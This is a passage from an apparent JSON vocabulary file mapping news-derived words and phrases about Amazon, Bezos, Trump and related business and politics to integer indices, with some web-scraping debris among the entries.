networks\": 12336,\n  \"eye arkansas\": 12337,\n  \"particularly angry\": 12338,\n  \"overseas deals\": 12339,\n  \"shockingly\": 12340,\n  \"political moment\": 12341,\n  \"extraordinary letter\": 12342,\n  \"gap reflecting\": 12343,\n  \"litigated\": 12344,\n  \"qtrly\": 12345,\n  \"monopoly donald\": 12346,\n  \"indicates\": 12347,\n  \"really fascinating\": 12348,\n  \"core profit\": 12349,\n  \"chairs emails\": 12350,\n  \"customer bezos\": 12351,\n  \"wife just\": 12352,\n  \"feinstein sound\": 12353,\n  \"retirement benefits\": 12354,\n  \"debt issuance\": 12355,\n  \"profit hungry\": 12356,\n  \"hit reporting\": 12357,\n  \"claim trump\": 12358,\n  \"liability corporation\": 12359,\n  \"magnet amazon\": 12360,\n  \"years remember\": 12361,\n  \"brought tech\": 12362,\n  \"larger number\": 12363,\n  \"latest scoop\": 12364,\n  \"program right\": 12365,\n  \"4166 sponsored\": 12366,\n  \"washington mandel\": 12367,\n  \"market 2019\": 12368,\n  \"christal hayes\": 12369,\n  \"schuster angry\": 12370,\n  \"amazon expected\": 12371,\n  \"split headquarters\": 12372,\n  \"following president\": 12373,\n  \"charging companies\": 12374,\n  \"jose mercury\": 12375,\n  \"choices lacked\": 12376,\n  \"2015 trump\": 12377,\n  \"divested stations\": 12378,\n  \"emailed members\": 12379,\n  \"site finsum\": 12380,\n  \"rolfe\": 12381,\n  \"engine favoured\": 12382,\n  \"instead publishing\": 12383,\n  \"actually make\": 12384,\n  \"company biggest\": 12385,\n  \"image type\": 12386,\n  \"beige\": 12387,\n  \"trump factor\": 12388,\n  \"amazon stored\": 12389,\n  \"apron value\": 12390,\n  \"drawn ire\": 12391,\n  \"opposite backgrounds\": 12392,\n  \"8220\": 12393,\n  \"insets\": 12394,\n  \"suppose\": 12395,\n  \"farrow describes\": 12396,\n  \"directed hit\": 12397,\n  \"___ average\": 12398,\n  \"illegally\": 12399,\n  \"disaster avoided\": 12400,\n  \"buhari meets\": 12401,\n  \"ad threatens\": 12402,\n  \"long sale\": 12403,\n  \"attributes\": 12404,\n  \"fsg new\": 12405,\n  \"telling national\": 12406,\n  \"late 1950s\": 12407,\n  \"hammack avery\": 12408,\n  \"shows konst\": 12409,\n  \"emergencies denver\": 12410,\n  \"motco owns\": 12411,\n  \"nonprofit sector\": 12412,\n  \"economically distressed\": 12413,\n  \"pentagon cloud\": 12414,\n  \"solidarity\": 12415,\n  \"reliable delivery\": 12416,\n  \"tired\": 12417,\n  \"provide technology\": 12418,\n  \"frankfurt\": 12419,\n  \"patents included\": 12420,\n  \"memoir flatiron\": 12421,\n  \"king don\": 12422,\n  \"company blog\": 12423,\n  \"dramatization\": 12424,\n  \"executives faced\": 12425,\n  \"giovangelo\": 12426,\n  \"previous claims\": 12427,\n  \"administration amazon\": 12428,\n  \"price left\": 12429,\n  \"aristocrats did\": 12430,\n  \"media correctly\": 12431,\n  \"probe facebook\": 12432,\n  \"homo sapiens\": 12433,\n  \"home sale\": 12434,\n  \"second base\": 12435,\n  \"million education\": 12436,\n  \"retails\": 12437,\n  \"work goals\": 12438,\n  \"company salesforce\": 12439,\n  \"ofsort\": 12440,\n  \"report evaluates\": 12441,\n  \"haul compare\": 12442,\n  \"rights organization\": 12443,\n  \"america descriptionplaintext\": 12444,\n  \"city makes\": 12445,\n  \"huckleberry\": 12446,\n  \"competition oversight\": 12447,\n  \"air conner\": 12448,\n  \"seeva\": 12449,\n  \"federal housing\": 12450,\n  \"acquired controlling\": 12451,\n  \"connects buyers\": 12452,\n  \"human history\": 12453,\n  \"new pricing\": 12454,\n  \"missoulacurrent\": 12455,\n  \"areprimarily adjusted\": 12456,\n  \"money star\": 12457,\n  \"pro quo\": 12458,\n  \"crash survivor\": 12459,\n  \"emily bary\": 12460,\n  \"biggs weighs\": 12461,\n  \"angelo\": 12462,\n  \"years high\": 12463,\n  \"industrial complex\": 12464,\n  \"james patterson\": 12465,\n  \"gerald game\": 12466,\n  \"packages decision\": 12467,\n  \"nec corporation\": 12468,\n  \"topped 177\": 12469,\n  \"paul marketwatch\": 12470,\n  \"believe staying\": 12471,\n  \"accept amazon\": 12472,\n  \"merchant platform\": 12473,\n  \"osha\": 12474,\n  \"candidate hillary\": 12475,\n  \"adams\": 12476,\n  \"group called\": 12477,\n  \"biggest award\": 12478,\n  \"topic\": 12479,\n  \"post columnists\": 12480,\n  \"impact fiscal\": 12481,\n  \"neurotic\": 12482,\n  \"herman turkstra\": 12483,\n  \"giant orange\": 12484,\n  \"leafly suite\": 12485,\n  \"jeff mitchell\": 12486,\n  \"minority employees\": 12487,\n  \"griffeth nightly\": 12488,\n  \"rean cloud\": 12489,\n  \"mistreating workers\": 12490,\n  \"incautiously\": 12491,\n  \"including presidential\": 12492,\n  \"market bezos\": 12493,\n  \"date itep\": 12494,\n  \"trump wondered\": 12495,\n  \"company resistance\": 12496,\n  \"unavoidable\": 12497,\n  \"misspoke\": 12498,\n  \"retail share\": 12499,\n  \"everybody involved\": 12500,\n  \"article arguing\": 12501,\n  \"requiring large\": 12502,\n  \"sexual predations\": 12503,\n  \"uneasy truce\": 12504,\n  \"jodi balfour\": 12505,\n  \"members state\": 12506,\n  \"line 2930a\": 12507,\n  \"york marked\": 12508,\n  \"misses articles\": 12509,\n  \"cambridge scandal\": 12510,\n  \"terrifyingly\": 12511,\n  \"glueck\": 12512,\n  \"85m\": 12513,\n  \"joshua tucker\": 12514,\n  \"person company\": 12515,\n  \"st john\": 12516,\n  \"benevolence\": 12517,\n  \"amazon treats\": 12518,\n  \"echoed\": 12519,\n  \"night referencing\": 12520,\n  \"increased lobbying\": 12521,\n  \"election coverage\": 12522,\n  \"bezos cease\": 12523,\n  \"khashoggi saudi\": 12524,\n  \"sender intensifies\": 12525,\n  \"fundamental step\": 12526,\n  \"entirely instead\": 12527,\n  \"carnivorous style\": 12528,\n  \"latest twist\": 12529,\n  \"desirable economics\": 12530,\n  \"terrible job\": 12531,\n  \"accidentally sabotaged\": 12532,\n  \"manatees\": 12533,\n  \"shares leavell\": 12534,\n  \"divorce saying\": 12535,\n  \"chicagoan\": 12536,\n  \"inspirational\": 12537,\n  \"sim\\u00f5es\": 12538,\n  \"features enableautoplayblock\": 12539,\n  \"herera skipped\": 12540,\n  \"federal investigation\": 12541,\n  \"gaining market\": 12542,\n  \"product technology\": 12543,\n  \"cityoftoronto amid\": 12544,\n  \"102 million\": 12545,\n  \"comprehensive logistics\": 12546,\n  \"fund access\": 12547,\n  \"agency ice\": 12548,\n  \"criminal enterprise\": 12549,\n  \"remove current\": 12550,\n  \"079 share\": 12551,\n  \"generate higher\": 12552,\n  \"store drops\": 12553,\n  \"marketing doesn\": 12554,\n  \"night games\": 12555,\n  \"punish jeff\": 12556,\n  \"charitable donors\": 12557,\n  \"stock flying\": 12558,\n  \"jarrett source\": 12559,\n  \"bow\": 12560,\n  \"mallory\": 12561,\n  \"cnl_global_nav_background_gradient_start\": 12562,\n  \"today jolts\": 12563,\n  \"thomas\": 12564,\n  \"international talent\": 12565,\n  \"corp ap\": 12566,\n  \"lasership pittohio\": 12567,\n  \"bigger plans\": 12568,\n  \"boost local\": 12569,\n  \"word tape\": 12570,\n  \"notorious las\": 12571,\n  \"world according\": 12572,\n  \"told seventeen\": 12573,\n  \"ohio workers\": 12574,\n  \"amazon echo\": 12575,\n  \"boss owns\": 12576,\n  \"steroids\": 12577,\n  \"patients away\": 12578,\n  \"freaky gas\": 12579,\n  \"2025\": 12580,\n  \"puzder foto\": 12581,\n  \"entertainer routinely\": 12582,\n  \"amazon operating\": 12583,\n  \"pinterest linkedin\": 12584,\n  \"bloomberg lobbied\": 12585,\n  \"expect far\": 12586,\n  \"excuse handing\": 12587,\n  \"miscellaneous pharma\": 12588,\n  \"encinitas\": 12589,\n  \"educator alli\": 12590,\n  \"rare rebuttal\": 12591,\n  \"network read\": 12592,\n  \"sources reported\": 12593,\n  \"political scandal\": 12594,\n  \"expected pay\": 12595,\n  \"occasionally speaking\": 12596,\n  \"millennials essayism\": 12597,\n  \"ghosn\": 12598,\n  \"antitrust attorney\": 12599,\n  \"bargains buyers\": 12600,\n  \"london fastest\": 12601,\n  \"underhanded\": 12602,\n  \"alleging counterfeiting\": 12603,\n  \"sellers included\": 12604,\n  \"stop dying\": 12605,\n  \"blackmail scheme\": 12606,\n  \"provided backdoor\": 12607,\n  \"scored\": 12608,\n  \"760 federal\": 12609,\n  \"osaka\": 12610,\n  \"center republicans\": 12611,\n  \"policy passed\": 12612,\n  \"money deals\": 12613,\n  \"seeking tech\": 12614,\n  \"stay afloat\": 12615,\n  \"tanquilut\": 12616,\n  \"focussed\": 12617,\n  \"takes advantage\": 12618,\n  \"elan gale\": 12619,\n  \"international pressure\": 12620,\n  \"null images\": 12621,\n  \"class destination\": 12622,\n  \"college hours\": 12623,\n  \"mikey2go\": 12624,\n  \"redo\": 12625,\n  \"service pursue\": 12626,\n  \"employee held\": 12627,\n  \"richard hofstadter\": 12628,\n  \"slashing federal\": 12629,\n  \"nasdaq expe\": 12630,\n  \"entertainment sports\": 12631,\n  \"yasha\": 12632,\n  \"binder reported\": 12633,\n  \"wealth planning\": 12634,\n  \"additionally dimon\": 12635,\n  \"diminishing\": 12636,\n  \"snapbacks\": 12637,\n  \"long suffering\": 12638,\n  \"deforestation currently\": 12639,\n  \"solid platform\": 12640,\n  \"opposing collective_072318\": 12641,\n  \"vital evidence\": 12642,\n  \"clock kitchen\": 12643,\n  \"liabilities\": 12644,\n  \"275 amazon\": 12645,\n  \"owners drive\": 12646,\n  \"org research\": 12647,\n  \"vehemently rejected\": 12648,\n  \"environmental review\": 12649,\n  \"intentions just\": 12650,\n  \"corruption cases\": 12651,\n  \"game discount\": 12652,\n  \"extraordinary sulforaphane\": 12653,\n  \"retailer lobby\": 12654,\n  \"portrayed amazon\": 12655,\n  \"therobinreport\": 12656,\n  \"know whatyou\": 12657,\n  \"success read\": 12658,\n  \"philippines\": 12659,\n  \"second georgia\": 12660,\n  \"egregious\": 12661,\n  \"pass immigration\": 12662,\n  \"mccain casts\": 12663,\n  \"amazon bid\": 12664,\n  \"bigger merger\": 12665,\n  \"cohen threatening\": 12666,\n  \"existing community\": 12667,\n  \"campaign contractor\": 12668,\n  \"years amazing\": 12669,\n  \"immoral\": 12670,\n  \"melodrama\": 12671,\n  \"maintain growth\": 12672,\n  \"studios matt\": 12673,\n  \"universities say\": 12674,\n  \"friendly divorce\": 12675,\n  \"filmed\": 12676,\n  \"generation navy\": 12677,\n  \"popular github\": 12678,\n  \"blind helen\": 12679,\n  \"raised antitrust\": 12680,\n  \"city economy\": 12681,\n  \"maximizing\": 12682,\n  \"728 shares\": 12683,\n  \"china business\": 12684,\n  \"cowen analysts\": 12685,\n  \"saying tagline\": 12686,\n  \"agriculture mining\": 12687,\n  \"614 channels\": 12688,\n  \"baker jack\": 12689,\n  \"amazon undercut\": 12690,\n  \"antitrust rules\": 12691,\n  \"business contributed\": 12692,\n  \"cramer likes\": 12693,\n  \"standing target\": 12694,\n  \"deficit shot\": 12695,\n  \"amazon insisted\": 12696,\n  \"moved away\": 12697,\n  \"right news\": 12698,\n  \"sen george\": 12699,\n  \"official business\": 12700,\n  \"fund held\": 12701,\n  \"notechforice\": 12702,\n  \"foundation seth\": 12703,\n  \"hatches\": 12704,\n  \"cfo brian\": 12705,\n  \"facilitated\": 12706,\n  \"upper management\": 12707,\n  \"meaning budget\": 12708,\n  \"brainard did\": 12709,\n  \"principal analyst\": 12710,\n  \"missouri voters\": 12711,\n  \"public charge\": 12712,\n  \"guarantee mail\": 12713,\n  \"terrorist fist\": 12714,\n  \"tech titans\": 12715,\n  \"zuker good\": 12716,\n  \"pertinent\": 12717,\n  \"directed michael\": 12718,\n  \"did tweet\": 12719,\n  \"level corruption\": 12720,\n  \"profitability\": 12721,\n  \"accounting issues\": 12722,\n  \"taxable income\": 12723,\n  \"sanders concluded\": 12724,\n  \"shouted racial\": 12725,\n  \"recent client\": 12726,\n  \"atrocious\": 12727,\n  \"record price\": 12728,\n  \"educational products\": 12729,\n  \"usa 2018\": 12730,\n  \"relevance\": 12731,\n  \"deliveries operating\": 12732,\n  \"wasn 100\": 12733,\n  \"bravo\": 12734,\n  \"newsletters utm_source\": 12735,\n  \"proportions\": 12736,\n  \"results surging\": 12737,\n  \"irreversibly\": 12738,\n  \"nadler says\": 12739,\n  \"public meetings\": 12740,\n  \"vetoed\": 12741,\n  \"bolsonaro environmental\": 12742,\n  \"particularly proud\": 12743,\n  \"politician bent\": 12744,\n  \"business calculus\": 12745,\n  \"explains immigration\": 12746,\n  \"lethem triumphant\": 12747,\n  \"change planned\": 12748,\n  \"recently sent\": 12749,\n  \"mysterious pharmaceutical\": 12750,\n  \"highly rated\": 12751,\n  \"sent 885\": 12752,\n  \"daughter pearl\": 12753,\n  \"political differences\": 12754,\n  \"falling\": 12755,\n  \"hanson concluded\": 12756,\n  \"rourke giving\": 12757,\n  \"bezos operating\": 12758,\n  \"good preschool\": 12759,\n  \"needle\": 12760,\n  \"base buy\": 12761,\n  \"propped\": 12762,\n  \"particularly memorable\": 12763,\n  \"cloud story\": 12764,\n  \"publishes fake\": 12765,\n  \"create cloud\": 12766,\n  \"lands image\": 12767,\n  \"quarter gaap\": 12768,\n  \"duel playingout\": 12769,\n  \"homeless tax\": 12770,\n  \"agriculture video\": 12771,\n  \"summit amazon\": 12772,\n  \"chicago childhood\": 12773,\n  \"paper save\": 12774,\n  \"rose garden\": 12775,\n  \"suburban legislators\": 12776,\n  \"ubhi recused\": 12777,\n  \"votes oops\": 12778,\n  \"2004 dhs\": 12779,\n  \"took slight\": 12780,\n  \"transaction person\": 12781,\n  \"josephson\": 12782,\n  \"massive tax\": 12783,\n  \"uniquely\": 12784,\n  \"woman eyeballs\": 12785,\n  \"bad week\": 12786,\n  \"post spoke\": 12787,\n  \"rainfall regime\": 12788,\n  \"security heather\": 12789,\n  \"negotiation host\": 12790,\n  \"activist shareholder\": 12791,\n  \"mabinty\": 12792,\n  \"republican led\": 12793,\n  \"general pam\": 12794,\n  \"showing persistent\": 12795,\n  \"kyl left\": 12796,\n  \"sleep easy\": 12797,\n  \"centers better\": 12798,\n  \"allianz\": 12799,\n  \"haunted marsh\": 12800,\n  \"seller closing\": 12801,\n  \"infused\": 12802,\n  \"obviously worship\": 12803,\n  \"correll\": 12804,\n  \"amazon country\": 12805,\n  \"game changing\": 12806,\n  \"kid nydj\": 12807,\n  \"benefiting homeless\": 12808,\n  \"behavior autocrats\": 12809,\n  \"stories claiming\": 12810,\n  \"32nd\": 12811,\n  \"scraping information\": 12812,\n  \"questionable tactics\": 12813,\n  \"amazons growing\": 12814,\n  \"tosi\": 12815,\n  \"100 centers\": 12816,\n  \"life gives\": 12817,\n  \"bezos clean\": 12818,\n  \"typeof r4ee\": 12819,\n  \"changing family\": 12820,\n  \"revelations appear\": 12821,\n  \"trump thanked\": 12822,\n  \"inversion\": 12823,\n  \"hell\": 12824,\n  \"failures shows\": 12825,\n  \"verdict\": 12826,\n  \"investments elizabeth\": 12827,\n  \"buying stocks\": 12828,\n  \"spokesman did\": 12829,\n  \"slave half\": 12830,\n  \"completed just\": 12831,\n  \"mowers\": 12832,\n  \"g8\": 12833,\n  \"lagos nigeria\": 12834,\n  \"trump shoe\": 12835,\n  \"truthout daily\": 12836,\n  \"hemorrhaging\": 12837,\n  \"divide deepens\": 12838,\n  \"reinsurance\": 12839,\n  \"loses billion\": 12840,\n  \"paychecks\": 12841,\n  \"letter kavanaugh\": 12842,\n  \"hill sonoya\": 12843,\n  \"calif offices\": 12844,\n  \"nielsen soon\": 12845,\n  \"follow krystal\": 12846,\n  \"jonathan\": 12847,\n  \"addressable markets\": 12848,\n  \"trump filed\": 12849,\n  \"trump succeeds\": 12850,\n  \"increased lore\": 12851,\n  \"t0 v0\": 12852,\n  \"pesticides\": 12853,\n  \"unit allegedly\": 12854,\n  \"want fairness\": 12855,\n  \"audience included\": 12856,\n  \"instructor\": 12857,\n  \"welcoming immigration\": 12858,\n  \"kathryn\": 12859,\n  \"riding\": 12860,\n  \"melgibsonfilms\": 12861,\n  \"amazon reaching\": 12862,\n  \"extra change\": 12863,\n  \"suddenly available\": 12864,\n  \"republicans expanded\": 12865,\n  \"typical trumpian\": 12866,\n  \"slamming alphabet\": 12867,\n  \"help teach\": 12868,\n  \"hart clarkston\": 12869,\n  \"sharing suspicious\": 12870,\n  \"says turnaround\": 12871,\n  \"limited success\": 12872,\n  \"boxing movie\": 12873,\n  \"ordinated\": 12874,\n  \"amazon products\": 12875,\n  \"wedbush remains\": 12876,\n  \"long target\": 12877,\n  \"footage used\": 12878,\n  \"share price\": 12879,\n  \"2045 cat_id\": 12880,\n  \"new novel\": 12881,\n  \"worst month\": 12882,\n  \"category warehousing\": 12883,\n  \"suresh kumar\": 12884,\n  \"estate crash\": 12885,\n  \"obamas retained\": 12886,\n  \"events season\": 12887,\n  \"tweet views\": 12888,\n  \"executive dara\": 12889,\n  \"specific needs\": 12890,\n  \"die donald\": 12891,\n  \"usually surge\": 12892,\n  \"response eli\": 12893,\n  \"providing project\": 12894,\n  \"netflix trailed\": 12895,\n  \"perishable sectors\": 12896,\n  \"lobbying reform\": 12897,\n  \"lanphear\": 12898,\n  \"nick timiraos\": 12899,\n  \"immigrants rights\": 12900,\n  \"funds\": 12901,\n  \"marc perrone\": 12902,\n  \"close r4ee\": 12903,\n  \"meaning increased\": 12904,\n  \"mocked christine\": 12905,\n  \"good strong\": 12906,\n  \"tax purposes\": 12907,\n  \"officials appeared\": 12908,\n  \"blessings\": 12909,\n  \"rally warns\": 12910,\n  \"economy read\": 12911,\n  \"supposed mistresses\": 12912,\n  \"nazi ideology\": 12913,\n  \"mistress bezos\": 12914,\n  \"does iconimageurl\": 12915,\n  \"bestselling standing\": 12916,\n  \"historic lows\": 12917,\n  \"matches walmart\": 12918,\n  \"290 000\": 12919,\n  \"drugstores shareholders\": 12920,\n  \"stabilizers\": 12921,\n  \"news new\": 12922,\n  \"specific words\": 12923,\n  \"blogspot president\": 12924,\n  \"review jurassic\": 12925,\n  \"fellow democrats\": 12926,\n  \"1014138137147211777\": 12927,\n  \"release nami\": 12928,\n  \"ap florida\": 12929,\n  \"blk\": 12930,\n  \"smithbridge\": 12931,\n  \"remote work\": 12932,\n  \"assuage investors\": 12933,\n  \"embarks\": 12934,\n  \"nbc interview\": 12935,\n  \"video 2018\": 12936,\n  \"kevin grundy\": 12937,\n  \"loans eased\": 12938,\n  \"kidasharira\": 12939,\n  \"screening facility\": 12940,\n  \"fdf\": 12941,\n  \"seeking 129\": 12942,\n  \"paradise eric\": 12943,\n  \"1336 cabin\": 12944,\n  \"supremely qualified\": 12945,\n  \"corporate subsidies\": 12946,\n  \"china granted\": 12947,\n  \"billion net\": 12948,\n  \"agreements giving\": 12949,\n  \"green illegal\": 12950,\n  \"underappreciated wife\": 12951,\n  \"raised 460\": 12952,\n  \"long lines\": 12953,\n  \"work women\": 12954,\n  \"company stunned\": 12955,\n  \"dystopian series\": 12956,\n  \"bezos additionally\": 12957,\n  \"figures showing\": 12958,\n  \"important week\": 12959,\n  \"cnbc borrowing\": 12960,\n  \"beat late\": 12961,\n  \"million increase\": 12962,\n  \"began renovating\": 12963,\n  \"million computing\": 12964,\n  \"advertising consumer\": 12965,\n  \"alibaba tencent\": 12966,\n  \"resort\": 12967,\n  \"diane rodham\": 12968,\n  \"amazon taking\": 12969,\n  \"ricardo salles\": 12970,\n  \"book chapter\": 12971,\n  \"dunford\": 12972,\n  \"book accompanied\": 12973,\n  \"actual presidential\": 12974,\n  \"latin history\": 12975,\n  \"memo citing\": 12976,\n  \"cbs4\": 12977,\n  \"instant classic\": 12978,\n  \"kate kunath\": 12979,\n  \"kerala\": 12980,\n  \"republican mcconnell\": 12981,\n  \"political implications\": 12982,\n  \"misbehavior\": 12983,\n  \"ami efforts\": 12984,\n  \"average admitted\": 12985,\n  \"stars used\": 12986,\n  \"intersect\": 12987,\n  \"send far\": 12988,\n  \"fraudulent items\": 12989,\n  \"post according\": 12990,\n  \"office mccabe\": 12991,\n  \"looms amazon\": 12992,\n  \"counter markets\": 12993,\n  \"earthquake caused\": 12994,\n  \"toile\": 12995,\n  \"rescue\": 12996,\n  \"manages international\": 12997,\n  \"sanches\": 12998,\n  \"called tax\": 12999,\n  \"quadrant lp\": 13000,\n  \"undo obamacare\": 13001,\n  \"running story\": 13002,\n  \"common targets\": 13003,\n  \"follows major\": 13004,\n  \"domestic partner\": 13005,\n  \"showing amazon\": 13006,\n  \"london asset\": 13007,\n  \"judy garland\": 13008,\n  \"peddled\": 13009,\n  \"largest funder\": 13010,\n  \"northern kentucky\": 13011,\n  \"bears close\": 13012,\n  \"better compete\": 13013,\n  \"trump treatment\": 13014,\n  \"limiting monopolistic\": 13015,\n  \"stereotyping\": 13016,\n  \"contested election\": 13017,\n  \"ceo sue\": 13018,\n  \"excellent article\": 13019,\n  \"profit bezos\": 13020,\n  \"tonght\": 13021,\n  \"journal michael\": 13022,\n  \"reason americas\": 13023,\n  \"criminal extortion\": 13024,\n  \"devastating day\": 13025,\n  \"isn linked\": 13026,\n  \"person wrote\": 13027,\n  \"discount\": 13028,\n  \"maternity leave\": 13029,\n  \"climate science\": 13030,\n  \"roughly 600\": 13031,\n  \"archie\": 13032,\n  \"1607et\": 13033,\n  \"702\": 13034,\n  \"southeast asian\": 13035,\n  \"financial straits\": 13036,\n  \"bell citing\": 13037,\n  \"stop arthur\": 13038,\n  \"information company\": 13039,\n  \"cannibalise retail\": 13040,\n  \"concluded\": 13041,\n  \"remember courage\": 13042,\n  \"world bank\": 13043,\n  \"just days\": 13044,\n  \"shipping announcement\": 13045,\n  \"politics celebrity\": 13046,\n  \"retail dominance\": 13047,\n  \"sunnyside\": 13048,\n  \"say student\": 13049,\n  \"murakami knopf\": 13050,\n  \"legislating\": 13051,\n  \"strategic focus\": 13052,\n  \"workers indians\": 13053,\n  \"org issues\": 13054,\n  \"keynote\": 13055,\n  \"prnewswire\": 13056,\n  \"video__end slate\": 13057,\n  \"revamped search\": 13058,\n  \"animal protein\": 13059,\n  \"younggren regina\": 13060,\n  \"local forums\": 13061,\n  \"editorial minutes\": 13062,\n  \"noted ami\": 13063,\n  \"cafes\": 13064,\n  \"heinz jeff\": 13065,\n  \"sculptor stephen\": 13066,\n  \"aspersions\": 13067,\n  \"opera\": 13068,\n  \"maria bartiromo\": 13069,\n  \"best joke\": 13070,\n  \"legislative process\": 13071,\n  \"tougher amphibs\": 13072,\n  \"hellmann ceo\": 13073,\n  \"outpace\": 13074,\n  \"states doesn\": 13075,\n  \"improper influence\": 13076,\n  \"app carol\": 13077,\n  \"deal cristina\": 13078,\n  \"240 000\": 13079,\n  \"combination\": 13080,\n  \"firms raise\": 13081,\n  \"places want\": 13082,\n  \"provocative language\": 13083,\n  \"certain product\": 13084,\n  \"551\": 13085,\n  \"bespokepremium\": 13086,\n  \"information recently\": 13087,\n  \"usually tell\": 13088,\n  \"ami reached\": 13089,\n  \"john following\": 13090,\n  \"mass selling\": 13091,\n  \"defending_the_one_percent_1 pdf\": 13092,\n  \"offered deal\": 13093,\n  \"biggest deals\": 13094,\n  \"administration efforts\": 13095,\n  \"anchor welcome\": 13096,\n  \"federal environmental\": 13097,\n  \"immoral policy\": 13098,\n  \"recording comfortable\": 13099,\n  \"users earnings\": 13100,\n  \"interpretation\": 13101,\n  \"office revenue\": 13102,\n  \"square footage\": 13103,\n  \"nigerian author\": 13104,\n  \"fort wayne\": 13105,\n  \"19th ave\": 13106,\n  \"enterprise technology\": 13107,\n  \"crossover republican\": 13108,\n  \"military affairs\": 13109,\n  \"usurp power\": 13110,\n  \"2018 follow\": 13111,\n  \"hullabaloo\": 13112,\n  \"conduct market\": 13113,\n  \"medical event\": 13114,\n  \"warchest\": 13115,\n  \"boycott walmart\": 13116,\n  \"peterbakernyt\": 13117,\n  \"2016 involving\": 13118,\n  \"sanders criticized\": 13119,\n  \"conspiracy bad\": 13120,\n  \"bezos enraged\": 13121,\n  \"new zip\": 13122,\n  \"expicit photographs\": 13123,\n  \"alyssa goodman\": 13124,\n  \"gardner\": 13125,\n  \"open major\": 13126,\n  \"buymedia\": 13127,\n  \"harvard graduate\": 13128,\n  \"trump sotu\": 13129,\n  \"environment according\": 13130,\n  \"copied\": 13131,\n  \"haptx\": 13132,\n  \"democratic republic\": 13133,\n  \"harriman\": 13134,\n  \"founder felt\": 13135,\n  \"inexistant\": 13136,\n  \"extensive games\": 13137,\n  \"walmart ability\": 13138,\n  \"benefitting developing\": 13139,\n  \"today probably\": 13140,\n  \"times photo\": 13141,\n  \"trump targets\": 13142,\n  \"grocery ecosystem\": 13143,\n  \"newfield exploration\": 13144,\n  \"news illinois\": 13145,\n  \"extremists think\": 13146,\n  \"early shortages\": 13147,\n  \"publishing series\": 13148,\n  \"subordinate federal\": 13149,\n  \"cohens home\": 13150,\n  \"profile image\": 13151,\n  \"dying left\": 13152,\n  \"malloch\": 13153,\n  \"preternaturally fortunate\": 13154,\n  \"usually dominated\": 13155,\n  \"congress rejected\": 13156,\n  \"cash\": 13157,\n  \"block twitter\": 13158,\n  \"furniture seller\": 13159,\n  \"disorienting\": 13160,\n  \"targets shares\": 13161,\n  \"radio legend\": 13162,\n  \"claim israel\": 13163,\n  \"components\": 13164,\n  \"job depending\": 13165,\n  \"overturn policy\": 13166,\n  \"new immunotherapy\": 13167,\n  \"point earlier\": 13168,\n  \"google public\": 13169,\n  \"conference italy\": 13170,\n  \"awkwardly\": 13171,\n  \"allows 401\": 13172,\n  \"council believed\": 13173,\n  \"sykes\": 13174,\n  \"b4e currenttarget\": 13175,\n  \"dirty don\": 13176,\n  \"verizon communications\": 13177,\n  \"sandwiched\": 13178,\n  \"lobbyist conflating\": 13179,\n  \"agency actions\": 13180,\n  \"somerset\": 13181,\n  \"ignored amazon\": 13182,\n  \"debt refinancing\": 13183,\n  \"lynch massachusetts\": 13184,\n  \"billion followed\": 13185,\n  \"media walmart\": 13186,\n  \"shutdown read\": 13187,\n  \"bank public\": 13188,\n  \"legendary race\": 13189,\n  \"head villain\": 13190,\n  \"supporting law\": 13191,\n  \"magnets\": 13192,\n  \"socks shortly\": 13193,\n  \"parrot\": 13194,\n  \"coverage wasn\": 13195,\n  \"pursuing tougher\": 13196,\n  \"bankers nypost\": 13197,\n  \"500 indexhas\": 13198,\n  \"reduce traffic\": 13199,\n  \"woman overnight\": 13200,\n  \"ongoing spat\": 13201,\n  \"called climate\": 13202,\n  \"military rivalry\": 13203,\n  \"candy 2006\": 13204,\n  \"vass vice\": 13205,\n  \"remains citi\": 13206,\n  \"replogle\": 13207,\n  \"segment operating\": 13208,\n  \"negative rating\": 13209,\n  \"hugely embarrassed\": 13210,\n  \"new release\": 13211,\n  \"origin mackenzie\": 13212,\n  \"youngest daughter\": 13213,\n  \"challenged postal\": 13214,\n  \"kaye\": 13215,\n  \"outpace trump\": 13216,\n  \"offering opinions\": 13217,\n  \"infrastructure program\": 13218,\n  \"stop bartiromo\": 13219,\n  \"money payment\": 13220,\n  \"ascribing\": 13221,\n  \"political ends\": 13222,\n  \"total mail\": 13223,\n  \"monica breaks\": 13224,\n  \"start network\": 13225,\n  \"event don\": 13226,\n  \"pursued\": 13227,\n  \"affair angle\": 13228,\n  \"companies yang\": 13229,\n  \"democrats schiff\": 13230,\n  \"voicemails\": 13231,\n  \"boss relationship\": 13232,\n  \"quarter trillion\": 13233,\n  \"fall asleep\": 13234,\n  \"math suggests\": 13235,\n  \"extended essay\": 13236,\n  \"pair live\": 13237,\n  \"keeps threatening\": 13238,\n  \"brody mullins\": 13239,\n  \"militarization\": 13240,\n  \"effectively appointing\": 13241,\n  \"citing substantial\": 13242,\n  \"allies raised\": 13243,\n  \"year prior\": 13244,\n  \"firms antitrust\": 13245,\n  \"gasoline\": 13246,\n  \"strong fan\": 13247,\n  \"conservative ones\": 13248,\n  \"sentencing marked\": 13249,\n  \"insurance companies\": 13250,\n  \"surprise fox\": 13251,\n  \"stellar cast\": 13252,\n  \"mueller comments\": 13253,\n  \"iot division\": 13254,\n  \"economic ladder\": 13255,\n  \"guardian reports\": 13256,\n  \"lewrockwell montrealgazette\": 13257,\n  \"agrees\": 13258,\n  \"miller tabak\": 13259,\n  \"trump hit\": 13260,\n  \"political structure\": 13261,\n  \"daniels attorney\": 13262,\n  \"starving peasants\": 13263,\n  \"net slight\": 13264,\n  \"aiding immigration\": 13265,\n  \"deaths 2018\": 13266,\n  \"value stood\": 13267,\n  \"largest automaker\": 13268,\n  \"report published\": 13269,\n  \"message exchanges\": 13270,\n  \"journal studies\": 13271,\n  \"lecture hall\": 13272,\n  \"strains\": 13273,\n  \"salivated\": 13274,\n  \"9hubrtexlq dave\": 13275,\n  \"pursue national\": 13276,\n  \"departure lounge\": 13277,\n  \"economic leaders\": 13278,\n  \"3x ebitda\": 13279,\n  \"detailed description\": 13280,\n  \"midterms approach\": 13281,\n  \"brands law\": 13282,\n  \"hachette published\": 13283,\n  \"shied away\": 13284,\n  \"brooklyn amazon\": 13285,\n  \"revealed trump\": 13286,\n  \"nearly 250\": 13287,\n  \"process bj\": 13288,\n  \"facebook related\": 13289,\n  \"commerce composed\": 13290,\n  \"investigation coming\": 13291,\n  \"ties velcro\": 13292,\n  \"schlosser bezos\": 13293,\n  \"sidewalks\": 13294,\n  \"frameheight\": 13295,\n  \"overlaid\": 13296,\n  \"forestall\": 13297,\n  \"passages\": 13298,\n  \"extending tax\": 13299,\n  \"barbecue scented\": 13300,\n  \"retailer reported\": 13301,\n  \"trial amazon\": 13302,\n  \"mexico killing\": 13303,\n  \"company wework\": 13304,\n  \"independent 